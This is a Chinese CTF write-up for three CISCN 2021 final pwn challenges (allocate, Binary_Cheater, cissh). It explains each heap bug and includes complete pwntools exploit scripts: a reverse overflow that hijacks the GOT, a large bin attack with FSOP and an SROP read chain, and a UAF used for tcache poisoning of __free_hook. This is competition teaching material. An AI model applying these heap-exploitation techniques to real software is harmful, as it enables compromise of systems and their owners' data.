ciscn2021决赛pwn题解

robots

 

allocate

程序分析

自己实现了一个分配器, 空闲的chunk组成一个单链表

  • chunk结构

  • 释放

  • 申请
    • 先尝试从free_list中获取如果失败了就直接切割mmap_mem

思路

  • 关键在与怎么覆盖next指针, 虽然Alloc有明显的整数溢出, 但是没法利用
  • 结果发现是一个关于read的骚操作: 如果read的写入区域内有不可写入的地址, 那么不会SIGV, 而是返回-1

  • 这种经典读写写法中没有判断read为-1的情况, 因此如果有不可写入的区域, read就会一直返回-1, 然后idx+= -1, 不停的向前, 直到可以全部写入read的内容位置
  • 而在Alloc时, 只检查了剩下来的是否为负数, 剩下的够不够分, 因此是很容易分割出一片不可写内存的
  • 分割出不可写内存时也要注意, 如果v2->size这样用户态的写入, 如果v2不可写会直接SIGV, 因此还要保证v2->size可写

  • 综上, 直接把chunk切割到只剩下0x10作为chunk头, 然后申请一大片内存, 利用read的返回-1就可以覆盖next
  • 劫持next之后, 从中分配出来时会检查size是否合适

  • 因此不能直接劫持到GOT上, 因为上面都是libc地址
  • 由于bss上有PtrArr, 因此分配到PtrArr前面, 覆盖PtrArr再通过这个进行任意写, size我直接选择bss地址了

exp

#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint

context.log_level = 'debug'
context(arch='amd64', os='linux')

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    cmd = ['/home/chenhaohao/pwn']
    sh = process(cmd)
    proc_base = sh.libs()['/home/chenhaohao/pwn']
else:                        #remtoe
    sh = remote('39.105.134.183', 18866)

def GDB():
    gdb.attach(sh, '''
    break *(0x401A21)
    break *0x401a6d 
    ''')

def Bits2Str(cont):
    res = ''
    for i in range(0, len(cont), 8):
        res+=chr(int(cont[i: i+8][::-1], 2))
    return res[::-1]

def Num(n):
    sh.sendline(str(n))

def Cmd(c):
    sh.recvuntil('>> ')
    sh.sendline(c)

def Gain(idx, sz, cont):
    Cmd('gain(%d);'%(idx))
    sh.recvuntil(': ')
    Num(sz)
    sh.recvuntil(': ')
    sh.send(cont)

def Edit(idx, cont):
    Cmd('edit(%d);'%(idx))
    sh.recvuntil(': ')
    sh.send(cont)

def Show(idx):
    Cmd('show(%d);'%(idx))

def Free(idx):
    Cmd('free(%d);'%(idx))

#exhaust mmap_mem
Gain(0, 0xFC0, 'A\n')
Gain(1, 0x10, 'B'*0x10)
Free(1)

#reverse overflow
exp = p64(0x20)
exp+= p64(0x4043b0)         #free_list = &free_list
exp = exp.ljust(0x30-1, 'B')
exp+= '\n'
Gain(2, 0x110, exp)     #free_list->chunk1->atoi@GOT

#control PtrArr
Gain(3, 0x10, 'B'*0x10)

exp = p64(0x4040b8)     #aoti@GOT
exp+= '\n'
Gain(4, 0x4043b0-0x10, exp) #size = &free_list-0x10

#leak addr
Show(0)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-libc.symbols['atoi']
Log('libc.address')

#control GOT
Edit(0, p64(libc.symbols['system'])+'\n')

#getshell
Cmd('aaaa(/bin/sh);')

sh.interactive()

'''
mem stat: telescope 0x4043A0
'''

总结

  • read读入含有不可写区域时会返回-1
  • no PIE出了直接打GOT, 还要考虑bss上的指针数组

 

Binary_Cheater

  • 2.32的libc
  • 禁用了execve

程序分析

  • 虽然后执行流混淆, 但是程序本身比较简单, 影响不大, 可以直接看
  • 每次循环都会
    • 检查malloc_hook与free_hook是否为0
    • 清空tcache chunk
  • Create
    • 最多16个
    • 0x410<=size<=0x450
    • ptr = calloc(1, size)
    • 记录信息
      • PtrArr[idx] = ptr
      • SizeArr[idx] = size
      • UsedArr[idx] = 1
    • read(0, ptr, size), 末尾设置00
    • 输出checkbit: ptr的低12bit
  • Edit
    • 没有检查UsedArr
    • len = read(0, PtrArr[idx], SizeArr[idx])
    • PtrArr[idx][len-1]=0
  • Show
    • 没有检查UsedArr
    • write(1, PtrArr[idx], strlen(PtrArr[idx]))

思路

很明显的UAF, 重点在与size的限制, 怎么利用LargeBin来达到任意写

  • 泄露地址:
    • 由于2.32中UB的地址最后1B为00, 无法泄露libc地址, 因此可以把chunk放入LB中泄露地址
    • 当LB中有一个chunkA之后, 在其后面再放入一个chunkB, 就可以让chunkA的fd为chunkB, 从而泄露堆地址
  • large bin Attack主要发生在UB向LB中放入chunk的时候, 可以任意地址写入一个chunk地址

  • 由于是calloc, 因此覆盖TLS中的tcache指针没用, vtable会检查指针有效性, 因此没法直接覆盖虚表指针, 无法得到栈地址, 程序没使用exit
  • 这样看来只剩一条路了FSOP, 类似于House of pig的思路
  • 其中比较精妙的点在与对_IO_str_overflow的利用, IO_str_overflow中, 有malloc, 有memcpy写入, 有free, 这就给了我们利用tcache的机会

  • 那么为什么不使用_IO_str_finish呢? 因此在2.32中这个函数已经不使用_IO_FILE中的函数指针了, 而是直接调用free, 无法利用
  • 综上思路为
    • 先泄露libc地址
    • 然后LargeBinAttack打TLS中的tcache指针, 这里需要一个chunk伪造Tcache
    • 然后打stderr指针, 伪造IO_FILE和vtable, 这里需要另一个chunk伪造_IO_2_1_stderr
    • 然后触发assert fail, 进入_IO_str_overflow
  • 触发assert error的方式: 原本想的是覆盖LB中的size为0x55, 然后通过一个UB整理到LB中触发assert fail, 但是后面看到fmyy有一个更好的方法
  • 覆盖arena->top指针, 再次分配时就会因为chunk大小不足, 进入sysmalloc(), 其中有一个关于page对齐的检查, 很容易触发fail

  • 在覆盖tcache与stderr时有一个很精妙的地方
    • 覆盖两个地址, 正常的思路是两套size, 5个chunk,比如0x430, 0x420一次, 然后0x440 0x450一次, 由于这题size范围很窄, 因此不可行
    • 进一步的是一种复用的思路, 使用3个chunk, 再来一个chunkC 0x420, chunkA配合chunkB先来一次, 然后取出chunkB, chunkA再配合chunkC来一次
      • 第一次放入chunkB时会有*(addr1+0x20)=chunkB
      • 取出时由于unlink, 会有*(addr1+0x20) = chunkA
      • 第二次放入chunkC时会有*(addr2+0x20)=chunkC
      • 因此addr1 addr2实际对应chunkA chunkC, 而不是chunkB chunkC
    • 再进一步, 其实用两个chunk就可以了, 先chunkA配合chunkB来一次, 取出后, 有addr1=chunkA, 然后chunkA配合chunk再来一次, 不取出来, 就有addr2 = chunkB
    • 本题一共需要3次LargeBin Attack, 0x420配合0x420进行两次, 0x440配合0x450进行一次, 0x460用来触发UB sort, 刚好
  • 接着考虑伪造stderr, printf(stderr)会调用_IO_xsputn_t, 要让其偏移到_IO_str_jumps中的_IO_str_overflow
  • _IO_str_overflow会把原来[_IO_buf_base, _IO_buf_end)复制到malloc得到的内存中, 因此伪造tcache指向__free_hook-0x10, 利用memcpy覆盖hook为rdx_GG, 布置好SigreturnFrame就可以开启ROP

EXP

#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint

context.log_level = 'debug'
context(arch='amd64', os='linux')

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    cmd = ['/home/chenhaohao/pwn']
    sh = process(cmd)
    proc_base = sh.libs()['/home/chenhaohao/pwn']
else:                        #remtoe
    sh = remote('39.105.134.183', 18866)

def GDB():
    gdb.attach(sh, '''
    telescope 0x50F0+0x0000555555554000 16
    heap bins
    break *0x7ffff7e73c11
    ''')

def Num(n):
    sh.sendline(str(n))

def Cmd(n):
    sh.recvuntil('>> ')
    Num(n)

def Create(sz, cont=''):
    Cmd(1)
    sh.recvuntil('(: Size: ')
    Num(sz)
    if(cont==''):
        cont='A'*sz
    sh.recvuntil('(: Content: ')
    sh.send(cont)

def Edit(idx, cont):
    Cmd(2)
    sh.recvuntil('Index: ')
    Num(idx)
    sh.recvuntil('Content: ')
    sh.send(cont)

def Delete(idx):
    Cmd(3)
    sh.recvuntil('Index: ')
    Num(idx)

def Show(idx):
    Cmd(4)
    sh.recvuntil('Index: ')
    Num(idx)
    sh.recvuntil('Content: ')

#chunk arrange
Create(0x420)   #A
Create(0x420)   #B  gap
Create(0x410)   #C
Create(0x410)   #D  gap
Create(0x430)   #E
Create(0x410)   #F  gap
Create(0x440)   #G

#leak libc addr
Delete(0)       #UB<=>A
Create(0x450)   #LB<=>A     A|B|C|D|top 
Show(0)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x1e3ff0
Log('libc.address')

#tcache ptr in TLS = chunkA
addr = libc.address+0x1eb538
exp = flat(0, 0, 0, addr-0x20)
Edit(0, exp)
Delete(2)       #UB<=>chunkC
Create(0x450)   #trigger sort

#leak heap addr
Show(0)
heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0xb10
Log('heap_addr')

#withdraw chunk C, so tcache = chunk A
Create(0x410)

#stderr = chunkC
addr = libc.address+0x1e47a0
exp = flat(0, 0, 0, addr-0x20)
Edit(0, exp)
Delete(9)       #UB<=>chunkC
Create(0x450)   #trigger sort

#forge tcache
exp = p16(0x7)*64   #tcache.counts
exp+= p64(libc.symbols['__free_hook']-0x10)*64
Edit(0, exp)

#GDB()

#forge stderr
'''
  char *_IO_read_ptr;    /* Current read pointer */
  char *_IO_read_end;    /* End of get area. */
  char *_IO_read_base;    /* Start of putback+get area. */
  char *_IO_write_base;    /* Start of put area. */
  char *_IO_write_ptr;    /* Current put pointer. */
  char *_IO_write_end;    /* End of put area. */
  char *_IO_buf_base;    /* Start of reserve area. */
  char *_IO_buf_end;    /* End of reserve area. */
'''
old = heap_addr + 0x6f0     #old = chunkB
exp = p64(0xfbad2087)
exp+= flat(0, 0, 0)
exp+= flat(old, old+0x100, 0)
exp+= flat(old, old+0x100)
exp = exp.ljust(0x88, '\x00')
exp+= p64(libc.address+0x1e6680)
exp = exp.ljust(0xd8, '\x00')
exp+= p64(libc.address+0x1E5580-0x8*4)  #f->vtable = _IO_str_jumps-0x8*4
Edit(2, exp[0x10:])

#SROP
rdx_GG = libc.address+0x14b760  #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
rdi = libc.address+0x2858f
rsi = libc.address+0x2ac3f
rdx_r12 = libc.address+0x114161
syscall = libc.address+0x611ea
rax = libc.address+0x45580
ret = libc.address+0x26699
buf = heap_addr+0x200

def Call(sys, a, b, c):
    return flat(rax, sys, rdi, a, rsi, b, rdx_r12, c, 0, syscall)

exp = '\x00'*0x8
exp+= p64(heap_addr+0x708)
exp+= p64(rdx_GG)
frame = SigreturnFrame()
frame.rip = ret
frame.rsp = heap_addr+0x800
frame['uc_stack.ss_size'] = libc.symbols['setcontext']+61
exp+= str(frame)

#ORW rop
exp+= Call(0, 0, buf, 0x30)
exp+= Call(2, buf, 0, 0)
exp+= Call(0, 3, buf, 0x30)
exp+= Call(1, 1, buf, 0x30)
Edit(1, exp)

#forge av->top and trigger assert fail
Delete(6)
Create(0x450)       #LB<=>G

addr = libc.address+0x1e3c00
exp = flat(0, 0, 0, addr-0x20)
Edit(6, exp)

Delete(4)
#trigger sort=> top=chunkE => sysmalloc() => assert fail => printf(stderr)
Cmd(1)
sh.recvuntil('(: Size: ')
Num(0x450)

sleep(2)
sh.sendline('./flag\x00')
sh.interactive()

总结

  • LargeBinAttack的思路
    • 打TLS中的tcache指针
    • 打rtld中的exit函数链表
    • 打stderr的_IO_FILE, 触发largebin中的assert error进入printf(stderr, …)
    • 利用写入victim地址区伪造自闭链表, 然后尝试进行任意地址分配
  • 通过_IO_str_overflow触发malloc, memcpy, free

 

cissh

程序分析

  • 关键是Manager对象, 根据初始化函数可以发现
    • this+0x是一个vector< shared_ptr<File> >, 保存创建的文件
    • this+0x18是一个vector<string> , 会把读入的cmd以空格分割保存为数组
    • this+0x30是一个map<string, FuncPtr>, 是一个命令到对应函数的映射, 支持下面的命令
      • touch
      • ls
      • vi
      • cat
      • rm
      • ln
  • File结构
    • string name 保存文件名
    • shared_ptr<string> cont
    • string type, 如果是正常的文件则为”file” 如果是ln的文件则为”link”

思路

  • 由于有ln的存在,因此漏洞只能出现在每个文件cont部分的shared_ptr上, 后来测试了一下发现, 当链接之后, shared_ptr<string> cont;的引用技术不会增加, 还是1, 这就会导致UAF

  • 经过测试发现如果有A1->A, 先rm(A), 这样A1的cont就是被释放过的
  • 但是需要注意一点, 由于string有一个局部缓冲区特性, 长度小于0x10的话,使用结构体内部缓冲区, 直接去free的话会报错
  • 能构造出UAF思路就清楚了, 先用7个chunk填满tcache, 然后释放一个chunk到UB中, UAF读泄露libc地址, 然后直接tcache attack打__free_hook

EXP

#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint

context.log_level = 'debug'
context(arch='amd64', os='linux')

elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    cmd = ['/home/chenhaohao/pwn']
    sh = process(cmd)
    proc_base = sh.libs()['/home/chenhaohao/pwn']
else:                        #remtoe
    sh = remote('39.105.134.183', 18866)

def GDB():
    gdb.attach(sh, '''
    break *free
    ''')

def Cmd(n):
    sh.recvuntil('\x1B[31m$ \x1B[m')
    sh.sendline(n)

def touch(name):
    Cmd('touch %s'%(name))

def vi(name, cont):
    Cmd('vi %s'%(name))
    sh.sendline(cont)

def rm(name):
    Cmd('rm %s'%(name))

def cat(name):
    Cmd("cat %s"%(name))

def ln(new, old):
    Cmd("ln %s %s"%(new, old))

#prepare chunk
for i in range(8):
    name = "A%d"%(i)    
    touch(name)
    vi(name, str(i)*0x300)

#make ln
ln("l_A0", "A0")
ln("l_A7", "A7")

#full Tcache, Tcache->A7->A6->...->A1
for i in range(1, 8):
    name = "A%d"%(i) 
    rm(name)

#get UB chunk
rm("A0")        #UB<=>A0 and l_A0->A0

#leak addr
cat("l_A0")
libc.address = u64(sh.recv(8))-0x1ebbe0
Log('libc.address')

#forge tcache list
vi("l_A7", flat(libc.symbols['__free_hook']))

#control __free_hook
touch("A7")
vi("A7", '7'*0x300)

touch("shell")
vi("shell", '/bin/sh\x00'*8)

touch("hook")
vi("hook", p64(libc.symbols['system']).ljust(0x300, '\x00'))

#getshell
#GDB()
rm('shell')

sh.interactive()

'''
telescope 0x0000555555578ec0 3
'''
(完)